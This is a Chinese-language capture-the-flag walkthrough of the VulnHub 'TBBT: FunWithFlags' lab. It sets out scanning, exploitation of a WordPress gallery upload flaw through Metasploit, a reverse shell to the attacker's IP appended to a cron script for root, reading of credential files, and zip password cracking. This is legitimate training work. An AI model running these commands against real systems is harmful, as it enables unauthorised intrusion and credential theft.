TBBT: FunWithFlags靶场渗透

TBBT: FunWithFlags

来自 < https://www.vulnhub.com/entry/tbbt-funwithflags,437/>

1,注意给kali添加一块网卡,配置为仅主机模式,网段192.168.1.0/24

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.1.0/24

那么攻击机IP为192.168.1.128,靶场IP192.168.1.105

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.1.105

|----------|--------|----------|----------------------|--------------------------------|
| 端口号 | 状态 | 服务类型 | 服务版本 / 标识 | 核心特点(关键信息) |
| 21/tcp | 开放 | ftp | vsftpd 3.0.3 | 支持匿名登录,含 Welcome.txt、pub / 目录 |
| 22/tcp | 开放 | ssh | OpenSSH 7.2p2 Ubuntu | 需账号密码登录,无直接漏洞 |
| 80/tcp | 开放 | http | Apache httpd 2.4.18 | 泄露 4 个敏感路径(含 /web_shell.php) |
| 1337/tcp | 开放 | 自定义服务 | 未识别(标记为 waste?) | 任意请求返回 Flag:FLAG-sheldon {...} |

4,匿名登录到ftp服务器

ftp 192.168.1.105

存在两个文本文件,下载下来

查看一下文本文件有什么

附言:请勿在此处存储重要文件,因为本服务器设置为允许匿名访问且对公众开放。

说明ftp服务器可能不存在重要内容

5,再尝试访问80端口的http服务

再扫描其子目录看看

gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.1.105/robots.txt

gobuster dir -u http://192.168.1.105/music -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.1.105/music/wordpress/

6,wpscan扫描枚举出用户

wpscan --url http://192.168.1.105/music/wordpress/ -e u,p

footprintsonthemoon、stuart、kripke

并且扫描出存在漏洞的插件

searchsploit reflex

7,使用metasploit框架对网站进行渗透攻击

msfconsole -q

search reflex gallery

use exploit/unix/webapp/wp_reflexgallery_file_upload

options

set rhosts 192.168.1.105

set targeturi /music/wordpress

set LHOST 192.168.1.128

exploit

成功getshell

8,获取可交互shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

再来信息收集一下

无法sudo -l提权

9,发现一个有助于提权的文件

可读可写可执行,脚本也已配置为每分钟运行一次。意味着我可以进行计划任务提权,写入反弹shell的命令

echo 'bash -c "bash -i >& /dev/tcp/192.168.1.128/1234 0>&1"' >>thermostat_set_temp.sh

kali要监听1234端口

成功提权变成root,得到第一个flag

10,目标是收集七个flag。先看amy用户

cat /home/amy/notes.txt

strings /home/amy/secretdiary

于是得到第二个flag

11,在网站配置文件里面发现用户名密码bigpharmacorp/weareevil

cd /var/www/html/private

cat db_config.php

登录成功后,得到第三个flag

http://192.168.1.105/phpmyadmin/sql.php?server=1&db=bigpharmacorp&table=users&pos=0&token=b5ddf0c010a7b2d360c242c1651e729b

12,进入penny目录,发现.FLAG.penny.txt

解码得到第四个flag

13,访问1337端口,得到第五个flag

14,去看看wordpress的数据库配置文件

cat /var/www/html/music/wordpress/wp-config.php

得到数据库账户密码footprintsonthemoon/footprintsonthemoon1337

mysql -u footprintsonthemoon -p

show databases;

use footprintsonthemoon;

show tables;

select * from wp_posts;

在wp_posts表中找到第六个flag

15,回到kali登录到ftp服务器

下载压缩包文件super_secret_nasa_stuff_here.zip。需要密码,这里使用zip2john结合john爆破

zip2john super_secret_nasa_stuff_here.zip >hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

使用密码astronaut 解压压缩包

密码为iloveyoumom,查看marsroversketch.jpg.out,拿下第七个flag

相关推荐
辰海Coding9 小时前
MiniSpring框架学习笔记-解决循环依赖的简化IoC容器
笔记·学习
晓梦林9 小时前
cp520靶场学习笔记
android·笔记·学习
心中有国也有家10 小时前
cann-recipes-infer:昇腾 NPU 推理的“菜谱集合”
经验分享·笔记·学习·算法
玄米乌龙茶12310 小时前
LLM成长笔记(三):API 开发基础
笔记
Upsy-Daisy10 小时前
AI Agent 项目学习笔记(八):Tool Calling 工具调用机制总览
人工智能·笔记·学习
LuminousCPP11 小时前
数据结构 - 线性表第四篇:C 语言通讯录优化升级全记录(踩坑 + 思考)
c语言·开发语言·数据结构·经验分享·笔记·学习
一只机电自动化菜鸟13 小时前
一建机电备考笔记(40) 建筑机电施工—排水管道施工(含考频+题型)
经验分享·笔记·学习·职场和发展·课程设计
你干嘛?哎哟13 小时前
4月工作笔记
笔记
tom021813 小时前
软考中级《嵌入式系统设计师》全套备考资料(真题 + 教材 + 笔记)
笔记·嵌入式·软考·自学·电子技术·电子资料·变成
上海云盾-小余14 小时前
网站恶意爬虫拦截策略:智能识别与封禁实操方案
网络·爬虫·安全·web安全